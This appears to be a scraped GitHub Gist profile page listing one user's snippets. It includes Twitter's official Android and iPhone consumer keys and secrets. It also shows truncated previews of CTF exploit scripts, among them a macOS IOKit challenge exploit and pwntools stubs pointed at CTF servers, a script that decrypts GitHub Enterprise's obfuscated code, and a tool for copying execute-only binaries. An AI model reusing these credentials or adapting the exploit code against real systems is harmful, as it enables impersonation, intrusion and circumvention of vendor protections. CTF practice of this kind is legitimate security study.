Skip to content

Instantly share code, notes, and snippets.

View david942j's full-sized avatar
🏠
Working from home

david942j david942j

🏠
Working from home
View GitHub Profile
@david942j
david942j / key.md
Created December 14, 2018 16:46
Twitter (un)official Consumer Key

Twitter Official Consumer Key

Twitter for Android

type:            PIN
Consumer key:    3nVuSoBZnx6U4vzUxf5w
Consumer secret: Bcs59EFbbsdF6Sl9Ng71smgStWEGwXXKSjYvPVt7qys

Twitter for iPhone

type:            PIN

Consumer key: IQKbtAYlXLripLGPWd0HUA

@david942j
david942j / yolo.c
Created June 27, 2018 14:39 — forked from saelo/yolo.c
Exploit for IPWnKit: a macOS IOKit exploit challenge from Defcon Qualifier CTF 2018
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CFPropertyList.h>
const char* kMyDriversIOKitClassName = "io_oooverflow_IPwnKit";
@david942j
david942j / xocopy.c
Created January 15, 2018 18:26 — forked from FelixMartel/xocopy.c
xocopy.c variation for 64 bit elf
/* xocopy - Program for copying an executable with execute but no read perms.
* Copyright (C) 2002, 2003 Dion Mendel.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
@david942j
david942j / db_truncate_x.rb
Created September 6, 2017 16:18 — forked from kazukeyan/db_truncate_x.rb
add rake task "db:truncate:x" and "db:truncate:all"
namespace :db do
def detect_env
ENV['RAILS_ENV'] || 'development'
end
def truncate(table)
begin
case @config["adapter"]
when "mysql", "mysql2"
ActiveRecord::Base.connection.execute("TRUNCATE #{table}")
puts "Table #{table} truncated!"
#!/usr/bin/sudo sh
## ruby_revealer.sh -- decrypt obfuscated GHE .rb files. 2.0.0 to 2.3.1+.
## From `strings ruby_concealer.so`:
##
## > This obfuscation is intended to discourage GitHub Enterprise customers
## > from making modifications to the VM.
##
## Well, good, as long as its not intended to discourage *me* from doing this!
#!/usr/bin/env ruby
#encoding: ascii-8bit
require_relative '../zocket/zocket'
def _p32(ar);ar.pack("L*");end
def p32(a);a.is_a?(Array) ? _p32(a) : _p32([a]);end
def u32(a);a.ljust(4,"\x00").unpack("L*")[0];end
def _p64(ar);ar.pack("Q*");end
def p64(a);a.is_a?(Array) ? _p64(a) : _p64([a]);end
def u64(a);a.ljust(8,"\x00").unpack("Q*")[0];end
#!/usr/bin/env ruby
#encoding: ascii-8bit
require_relative '../zocket/zocket'
def _p32(ar);ar.pack("L*");end
def p32(a);a.is_a?(Array) ? _p32(a) : _p32([a]);end
def u32(a);a.ljust(4,"\x00").unpack("L*")[0];end
def _p64(ar);ar.pack("Q*");end
def p64(a);a.is_a?(Array) ? _p64(a) : _p64([a]);end
def u64(a);a.ljust(8,"\x00").unpack("Q*")[0];end
#!/usr/bin/env python
from pwn import *
# r = remote('localhost', 31217)
r = remote('104.199.132.199', 1980)
r.recvuntil('6.exit\n')
name_addr = 0x602040
#!/usr/bin/python
from pwn import *
#context.log_level='debug'
#r = remote('0',9999)
r = remote('166.111.132.49', 9999)
context.arch = 'arm'
r.send('AAAAAAAA')
r.recvn(len("please input your 8-bit key:AAAAAAAA"))
require_relative '../zocket/zocket'
#$s = Zocket.new '127.0.0.1', 31337,logger:HexLogger.new
$s = Zocket.new 'ctf.pwnable.tw', 31337,logger:HexLogger.new
$main = 0x08048afb
$name = 0x0804B260
def p32(a)
[a].pack "I*"
end
def unp32(a)